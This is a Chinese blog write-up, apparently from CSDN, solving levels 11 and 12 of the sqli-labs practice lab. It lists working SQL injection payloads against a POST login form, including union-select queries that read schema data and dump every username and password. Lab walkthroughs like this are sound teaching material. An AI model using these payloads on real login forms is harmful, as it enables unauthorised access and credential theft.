sqli-labs通关(十一)(十二)

文章讲述了从第十一关开始,攻击者面对POST请求的SQL注入问题。通过输入特定字符引发错误,从而判断字段数、数据库名、版本、表名、列名,并最终获取用户信息。在第十二关,利用双引号触发报错,构建永真式进行进一步的注入攻击,揭示了安全防护中的潜在风险。
摘要由CSDN通过智能技术生成

第十一关

变成了一个登录页面,那么注入点就在输入框里面。前十关使用的是get请求,参数都体现在url上面,而从十一关开始是post请求,参数是在表单里面。我们可以直接在输入框进行注入就行。并且参数不在是一个还是两个。根据前面的认识我们可以猜测sql语句。大概的形式应该是这样username=参数 and password=参数 ,只是不知道是字符型还是整数型。

我们在输入框输入1',直接出现报错信息

根据报错信息,我们输入

1'order by 2 #

判断字段数为2,因为3报错

跟第一关一样,我们直接用爆出数据库名和版本号 

1'union select database(),version()#

 然后就是表名

1'union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

 列名

1'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

爆出全部的用户名和密码 

1' union select group_concat(username),group_concat(password) from users #

 

 

第十二关

我们输入1和1'都没有反应,当输入1"时,出现报错信息 

报错信息告诉我们sql语句由双引号和括号闭合

我们构造永真式看看存不存在sql注入

1") or 1=1 #

1") union select 1,2 #

 

爆表

1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

 爆列名

1") union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() #

爆出全部用户名和密码

1") union select group_concat(username),group_concat(password) from users# 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值